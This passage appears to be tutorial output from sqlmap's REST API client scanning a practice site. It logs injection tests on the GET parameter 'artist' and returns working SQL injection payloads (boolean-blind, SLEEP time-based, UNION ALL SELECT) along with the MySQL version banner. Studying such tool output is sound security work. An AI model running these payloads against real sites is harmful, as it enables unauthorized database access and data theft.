            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (comment)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP - c
omment)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query - c
omment)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL >= 5.0.12 AND time-based blind'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AN
D time-based blind' injectable ",
            "level": "INFO",
            "time": "12:48:23"
        },
        {
            "message": "testing 'Generic UNION query (NULL) - 1 to 20 columns'",
            "level": "INFO",
            "time": "12:48:23"
        },
        {
            "message": "automatically extending ranges for UNION query injection
 technique tests as there is at least one other (potential) technique found",
            "level": "INFO",
            "time": "12:48:23"
        },
        {
            "message": "'ORDER BY' technique appears to be usable. This should r
educe the time needed to find the right number of query columns. Automatically e
xtending the range for current UNION query injection technique test",
            "level": "INFO",
            "time": "12:48:23"
        },
        {
            "message": "target URL appears to have 3 columns in query",
            "level": "INFO",
            "time": "12:48:23"
        },
        {
            "message": "GET parameter 'artist' is 'Generic UNION query (NULL) -
1 to 20 columns' injectable",
            "level": "INFO",
            "time": "12:48:24"
        },
        {
            "message": "the back-end DBMS is MySQL",
            "level": "INFO",
            "time": "12:48:24"
        },
        {
            "message": "fetching banner",
            "level": "INFO",
            "time": "12:48:24"
        }
    ],
    "success": true
}
api (a42ddaef02e976f0)> data
[12:48:59] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/data
{
    "data": [
        {
            "status": 1,
            "type": 0,
            "value": [
                {
                    "dbms": "MySQL",
                    "suffix": "",
                    "clause": [
                        1,
                        9
                    ],
                    "notes": [],
                    "ptype": 1,
                    "dbms_version": [
                        ">= 5.0.12"
                    ],
                    "prefix": "",
                    "place": "GET",
                    "os": null,
                    "conf": {
                        "code": null,
                        "string": "hac",
                        "notString": null,
                        "titles": false,
                        "regexp": null,
```

```
                        "textOnly": false,
                        "optimize": false
                    },
                    "parameter": "artist",
                    "data": {
                        "1": {
                            "comment": "",
                            "matchRatio": 0.85,
                            "trueCode": 200,
                            "title": "AND boolean-based blind - WHERE or HAVING
clause",
                            "templatePayload": null,
                            "vector": "AND [INFERENCE]",
                            "falseCode": 200,
                            "where": 1,
                            "payload": "artist=1 AND 2794=2794"
                        },
                        "5": {
                            "comment": "",
                            "matchRatio": 0.85,
                            "trueCode": 200,
                            "title": "MySQL >= 5.0.12 AND time-based blind",
                            "templatePayload": null,
                            "vector": "AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLE
EPTIME]),[RANDNUM])",
                            "falseCode": null,
                            "where": 1,
                            "payload": "artist=1 AND SLEEP([SLEEPTIME])"
                        },
                        "6": {
                            "comment": "[GENERIC_SQL_COMMENT]",
                            "matchRatio": 0.85,
                            "trueCode": null,
                            "title": "Generic UNION query (NULL) - 1 to 20 colum
ns",
                            "templatePayload": null,
                            "vector": [
                                2,
                                3,
                                "[GENERIC_SQL_COMMENT]",
                                "",
                                "",
                                "NULL",
                                2,
                                false,
                                false
                            ],
                            "falseCode": null,
                            "where": 2,
                            "payload": "artist=-5376 UNION ALL SELECT NULL,NULL,
CONCAT(0x716b706a71,0x4a754d495377744d4273616c436b4b6a504164666a5572477241596649
704c68614672644a477474,0x7162717171)-- aAjy"
                        }
                    }
                }
            ]
        },
        {
            "status": 1,
            "type": 2,
            "value": "5.1.73-0ubuntu0.10.04.1"
        }
    ],
    "success": true,
    "error": []
}
```

```
api (a42ddaef02e976f0)> exit
$
```